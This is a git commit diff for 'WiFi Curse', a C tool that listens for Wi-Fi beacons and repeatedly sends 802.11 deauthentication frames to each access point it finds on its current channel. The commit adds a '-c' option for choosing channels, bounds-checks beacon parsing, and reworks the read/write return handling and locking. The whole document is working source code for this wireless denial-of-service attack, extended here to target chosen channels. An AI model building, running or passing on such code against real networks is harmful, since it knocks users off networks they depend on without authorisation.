commit cf9755e6f7fde24b4261c67d2d24bf67c836345b
parent 02f513a037be1d80e6dfaf26ce50a160ab83dfaf
Author: oblique <psyberbits@gmail.com>
Date: Thu, 5 Apr 2012 23:42:58 +0300
channel list option added
Diffstat:
6 files changed, 142 insertions(+), 54 deletions(-)
diff --git a/src/ap_list.c b/src/ap_list.c
@@ -79,10 +79,10 @@ int add_or_update_ap(struct ap_list *apl, struct ap_info *api) {
memset(ap, 0, sizeof(*ap));
memcpy(&ap->info, api, sizeof(ap->info));
+ ap->last_beacon_tm = time(NULL);
link_ap(apl, ap);
- }
-
- ap->last_beacon_tm = time(NULL);
+ } else
+ ap->last_beacon_tm = time(NULL);
return 0;
}
diff --git a/src/channelset.h b/src/channelset.h
@@ -22,7 +22,7 @@
#include <stdint.h>
#define CHANNEL_MAX 255
-typedef volatile uint32_t channelset_t[8];
+typedef uint32_t channelset_t[8];
static inline void channel_zero(channelset_t *cs) {
uint32_t *c = (uint32_t*)cs;
diff --git a/src/error.h b/src/error.h
@@ -24,7 +24,6 @@
#define GOTERR -1
#define ERRNODATA -2
-#define ERRAGAIN -3
void set_error(char *file, int line, int errnum, char *fmt, ...);
void print_error();
diff --git a/src/iw.c b/src/iw.c
@@ -172,22 +172,30 @@ ssize_t iw_write(struct iw_dev *dev, void *buf, size_t count) {
if (r < 0) {
free(pbuf);
return_error("send");
+ } else if (r > 0) {
+ r -= rt_hdr->len;
+ if (r <= 0)
+ r = 0;
}
- r -= rt_hdr->len;
free(pbuf);
- return r > 0 ? r : ERRAGAIN;
+ return r;
}
ssize_t iw_read(struct iw_dev *dev, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz) {
struct radiotap_hdr *rt_hdr;
int r;
+ *pkt = NULL;
+ *pkt_sz = 0;
+
/* read packet */
r = recv(dev->fd_in, buf, count, 0);
if (r < 0)
return_error("recv");
+ else if (r == 0)
+ return 0;
rt_hdr = buf;
if (sizeof(*rt_hdr) >= r || rt_hdr->len >= r)
@@ -201,12 +209,6 @@ ssize_t iw_read(struct iw_dev *dev, void *buf, size_t count, uint8_t **pkt, size
int iw_set_channel(struct iw_dev *dev, int chan) {
struct iwreq iwr;
- ssize_t ret;
-
- /* discard packets that are in kernel packet queue */
- ret = 0;
- while (ret != -1)
- ret = recv(dev->fd_in, NULL, 0, MSG_DONTWAIT);
/* set channel */
memset(&iwr, 0, sizeof(iwr));
diff --git a/src/wificurse.c b/src/wificurse.c
@@ -20,6 +20,7 @@
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
+#include <unistd.h>
#include <poll.h>
#include <signal.h>
#include <pthread.h>
@@ -33,13 +34,13 @@
#include "wificurse.h"
+#define ARRAY_SIZE(arr) (sizeof(arr) / sizeof(arr[0]))
+
struct deauth_thread_args {
struct ap_list *apl;
struct iw_dev *dev;
pthread_mutex_t *chan_mutex;
pthread_mutex_t *list_mutex;
- channelset_t *chans_fixed;
- channelset_t *chans;
volatile int stop;
};
@@ -66,7 +67,7 @@ int send_deauth(struct iw_dev *dev, struct access_point *ap) {
deauth->sc.sequence = ap->sequence++;
do {
r = iw_write(dev, deauth, sizeof(*deauth) + sizeof(*reason));
- } while (r == ERRAGAIN);
+ } while (r == 0);
if (r < 0) {
free(deauth);
return r;
@@ -81,6 +82,7 @@ int read_ap_info(struct iw_dev *dev, struct ap_info *api) {
uint8_t buf[4096], *pkt;
size_t pkt_sz;
ssize_t r, tmp, n;
+ uintptr_t tmp_ip;
struct mgmt_frame *beacon;
struct beacon_frame_body *beacon_fb;
struct info_element *beacon_ie;
@@ -89,24 +91,35 @@ int read_ap_info(struct iw_dev *dev, struct ap_info *api) {
if (r < 0)
return r;
+ if (pkt_sz < sizeof(*beacon) + sizeof(*beacon_fb))
+ return ERRNODATA;
+
beacon = (struct mgmt_frame*)pkt;
/* if it's a beacon packet */
if (beacon->fc.subtype == FRAME_CONTROL_SUBTYPE_BEACON) {
memcpy(api->bssid, beacon->bssid, IFHWADDRLEN);
beacon_fb = (struct beacon_frame_body*)beacon->frame_body;
- beacon_ie = beacon_fb->infos;
+ beacon_ie = (struct info_element*)beacon_fb->infos;
api->essid[0] = '\0';
n = 0;
/* parse beacon */
while (1) {
+ tmp_ip = (uintptr_t)beacon_ie + sizeof(*beacon_ie);
+ if (tmp_ip - (uintptr_t)buf >= r)
+ break;
+ tmp_ip += beacon_ie->len;
+ if (tmp_ip - (uintptr_t)buf > r)
+ break;
if (beacon_ie->id == INFO_ELEMENT_ID_SSID) { /* SSID found */
tmp = beacon_ie->len < ESSID_LEN ? beacon_ie->len : ESSID_LEN;
memcpy(api->essid, beacon_ie->info, tmp);
api->essid[tmp] = '\0';
n |= 1;
} else if (beacon_ie->id == INFO_ELEMENT_ID_DS) { /* channel number found */
+ if (beacon_ie->len != 1)
+ break;
api->chan = beacon_ie->info[0];
n |= 2;
}
@@ -114,15 +127,12 @@ int read_ap_info(struct iw_dev *dev, struct ap_info *api) {
break;
/* next beacon element */
beacon_ie = (struct info_element*)&beacon_ie->info[beacon_ie->len];
- if ((uintptr_t)beacon_ie - (uintptr_t)buf >= r)
- break;
}
/* if we didn't found the channel number
- * or if the channel number is not in interference range
* then return ERRNODATA
*/
- if (!(n & 2) || api->chan < dev->chan-2 || api->chan > dev->chan+2)
+ if (!(n & 2))
return ERRNODATA;
return 0;
@@ -134,7 +144,7 @@ int read_ap_info(struct iw_dev *dev, struct ap_info *api) {
void *deauth_thread_func(void *arg) {
struct deauth_thread_args *ta = arg;
struct access_point *ap, *tmp;
- int i, j, b, tmp_chan;
+ int i, j, b;
while (!ta->stop) {
pthread_mutex_lock(ta->chan_mutex);
@@ -144,29 +154,16 @@ void *deauth_thread_func(void *arg) {
ap = ta->apl->head;
while (ap != NULL && !ta->stop) {
/* if the last beacon we got was 3 mins ago, remove AP */
+ pthread_mutex_lock(ta->list_mutex);
if (time(NULL) - ap->last_beacon_tm >= 3*60) {
- tmp_chan = ap->info.chan;
tmp = ap;
ap = ap->next;
- pthread_mutex_lock(ta->list_mutex);
unlink_ap(ta->apl, tmp);
free(tmp);
- /* if AP channel is not in chans_fixed and there isn't any
- * other AP that use this channel, remove it from chans.
- */
- if (!channel_isset(ta->chans_fixed, tmp_chan)) {
- tmp = ta->apl->head;
- while (tmp != NULL) {
- if (tmp->info.chan == tmp_chan)
- break;
- tmp = tmp->next;
- }
- if (tmp == NULL)
- channel_unset(ta->chans, tmp_chan);
- }
pthread_mutex_unlock(ta->list_mutex);
continue;
}
+ pthread_mutex_unlock(ta->list_mutex);
/* if interface and AP are in the same channel, send deauth */
if (ap->info.chan == ta->dev->chan) {
if (send_deauth(ta->dev, ap) < 0) {
@@ -194,6 +191,70 @@ void *deauth_thread_func(void *arg) {
return NULL;
}
+static void print_usage(FILE *f) {
+ fprintf(f, "\n WiFi Curse v" VERSION " (C) 2012 oblique\n\n");
+ fprintf(f, " usage: wificurse [options] <interface>\n\n");
+ fprintf(f, " Options:\n");
+ fprintf(f, " -c channels Channel list (e.g 1,4-6,11) (default: 1-14)\n");
+ fprintf(f, "\n");
+}
+
+static int parse_chans_str(char *chans_str, channelset_t *chans) {
+ char *s, *str, *ptrs[256] = { NULL };
+ int i, j, n, chan1, chan2;
+
+ channel_zero(chans);
+
+ str = strtok_r(chans_str, ",", &s);
+ ptrs[0] = str;
+ n = 1;
+ while (n < ARRAY_SIZE(ptrs)-1) {
+ str = strtok_r(NULL, ",", &s);
+ if (str == NULL)
+ break;
+ ptrs[n++] = str;
+ }
+
+ i = 0;
+ while (ptrs[i] != NULL) {
+ if (ptrs[i][0] == '-')
+ return -1;
+ n = 0;
+ for (j = 0; ptrs[i][j] != '\0'; j++) {
+ if (ptrs[i][j] == '-') {
+ if (ptrs[i][j+1] == '\0')
+ return -1;
+ n++;
+ if (n > 1)
+ return -1;
+ } else if (ptrs[i][j] < '0' || ptrs[i][j] > '9')
+ return -1;
+ }
+
+ str = strtok_r(ptrs[i], "-", &s);
+ chan1 = atoi(str);
+ if (chan1 == 0)
+ return -1;
+
+ if (s[0] == '\0')
+ chan2 = chan1;
+ else
+ chan2 = atoi(s);
+
+ if (chan1 >= 256 || chan2 >= 256)
+ return -1;
+
+ if (chan1 > chan2)
+ return -1;
+
+ for (j = chan1; j <= chan2; j++)
+ channel_set(chans, j);
+ i++;
+ }
+
+ return 0;
+}
+
int main(int argc, char *argv[]) {
struct ap_list apl;
struct ap_info api;
@@ -204,14 +265,37 @@ int main(int argc, char *argv[]) {
suseconds_t msec;
pthread_t deauth_thread;
pthread_mutex_t chan_mutex, list_mutex;
- channelset_t chans_fixed, chans;
- int ret, sigfd, n, chan;
+ channelset_t chans;
+ int ret, sigfd, c, n, chan;
+ char *ifname, *chans_str;
sigset_t exit_sig;
time_t tm;
- if (argc != 2) {
- fprintf(stderr, "\n WiFi Curse v" VERSION " (C) 2012 oblique\n\n");
- fprintf(stderr, " usage: wificurse <interface>\n\n");
+ if (argc < 2) {
+ print_usage(stderr);
+ return EXIT_FAILURE;
+ }
+
+ /* arguments */
+ ifname = argv[argc-1];
+ chans_str = NULL;
+
+ while((c = getopt(argc, argv, "c:h")) != -1) {
+ switch (c) {
+ case 'c':
+ chans_str = optarg;
+ break;
+ case 'h':
+ print_usage(stdout);
+ return EXIT_SUCCESS;
+ case '?':
+ default:
+ return EXIT_FAILURE;
+ }
+ }
+
+ if (argv[optind] != ifname) {
+ print_usage(stderr);
return EXIT_FAILURE;
}
@@ -220,6 +304,18 @@ int main(int argc, char *argv[]) {
return EXIT_FAILURE;
}
+ /* init channel set */
+ if (chans_str == NULL) {
+ channel_zero(&chans);
+ for (n=1; n<=14; n++)
+ channel_set(&chans, n);
+ } else {
+ if (parse_chans_str(chans_str, &chans) == -1) {
+ fprintf(stderr, "Can not parse the channels\n");
+ return EXIT_FAILURE;
+ }
+ }
+
/* init access point list */
init_ap_list(&apl);
@@ -245,7 +341,7 @@ int main(int argc, char *argv[]) {
/* init device */
iw_init_dev(&dev);
- strncpy(dev.ifname, argv[1], sizeof(dev.ifname)-1);
+ strncpy(dev.ifname, ifname, sizeof(dev.ifname)-1);
if (iw_open(&dev) < 0) {
print_error();
@@ -256,12 +352,6 @@ int main(int argc, char *argv[]) {
pfd[1].revents = 0;
pfd[1].events = POLLIN;
- /* init channel set */
- channel_zero(&chans_fixed);
- for (n=1; n<=14; n++)
- channel_set(&chans_fixed, n);
- channel_copy(&chans, &chans_fixed);
-
/* set channel */
n = 0;
chan = 0;
@@ -282,8 +372,6 @@ int main(int argc, char *argv[]) {
ta.stop = 0;
ta.apl = &apl;
ta.dev = &dev;
- ta.chans_fixed = &chans_fixed;
- ta.chans = &chans;
pthread_mutex_init(&chan_mutex, NULL);
ta.chan_mutex = &chan_mutex;
pthread_mutex_init(&list_mutex, NULL);
@@ -312,8 +400,7 @@ int main(int argc, char *argv[]) {
if (ret < 0 && ret != ERRNODATA) { /* error */
print_error();
goto _errout;
- } else if (ret == 0) { /* got infos */
- channel_set(&chans, api.chan);
+ } else if (ret == 0 && channel_isset(&chans, api.chan)) { /* got infos */
pthread_mutex_lock(&list_mutex);
if (add_or_update_ap(&apl, &api) < 0) {
pthread_mutex_unlock(&list_mutex);
diff --git a/src/wificurse.h b/src/wificurse.h
@@ -72,7 +72,7 @@ struct beacon_frame_body {
uint64_t timestamp;
uint16_t interval;
uint16_t capabilities;
- struct info_element infos[];
+ uint8_t infos[];
} __attribute__((__packed__));